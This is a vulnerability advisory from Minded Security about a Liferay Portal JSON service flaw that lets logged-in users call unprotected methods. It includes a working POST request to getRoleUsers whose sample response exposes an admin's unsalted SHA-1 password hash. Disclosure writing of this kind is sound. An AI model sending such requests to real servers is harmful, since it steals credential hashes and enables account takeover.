MSA251009

Liferay Json Service Multiple Information Leakage


Tested Versions:
Liferay Portal 4.x and 5.x

Minded Security ReferenceID:
MSA251009

Credits:
Discovered by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com

Reference:
http://issues.liferay.com/browse/LPS-9555

Severity:
High: it is possible to access functionalities and
sensitive users' information.

Solution:
Grant access only to standard web functionalities and prevent direct
access to JSON service.

Summary
It is possible to access several classes and static methods and obtain several sensitive information.

Analysis

It is possible to access several methods making a direct request to the following URL

https://<yoursite>/c/portal/json_service

via POST with a payload like the following:

callback=<JavascriptFunctionName>&serviceClassName=
com.liferay.portal.service.http.<ClassName>JSON&serviceMethodName=<
StaticMethodName>┬Âmeter1=<Value>┬Âmeter2=<Value>
&serviceParameters=parameter1,parameter2...etc


An authenticated user can perform a request like the previous to obtain an answer from the server like the following:

HTTP/1.1 200 OK

FunctionNameJs({response JSON object});


It was possible to analize the accessible methods and it was noted that several classes and static methods are accessible, but a lot of them perform access control.
However, there are several methods that return information about users that do not perform administrative access control or that are allowed to logged users. This methods can be used to obtain sensitive information.
For example, an attacker could use the method "getRoleUsers" in order to obtain internal Liferay passwords in SHA-1 format coded in Base64 making the following request (administrative role id is 10107).

POST /c/portal/json_service HTTP/1.1

callback=ss&
serviceClassName=com.liferay.portal.service.http.UserServiceJSON
&serviceMethodName=getRoleUsers&roleId=10107&
screenName=getRoleUsers&serviceParameters=roleId


HTTP/1.1 200 OK

ss([{"portraitId":0,"agreedToTermsOfUse":true,"passwordEncrypted":true,
"screenName":"liferayadmin","password":"yg\/MD******************hs=",
"passwordReset":false,"defaultUser":false,
"lastFailedLoginDate":"1253900971","userId":10133....

As it is possible to see, inside the server answere there is the object related to
the admin user with his own password in SHA-1 format (without salt).

Disclosure Timeline
25/10/09 Issue found
12/05/10 Reported to Vendor

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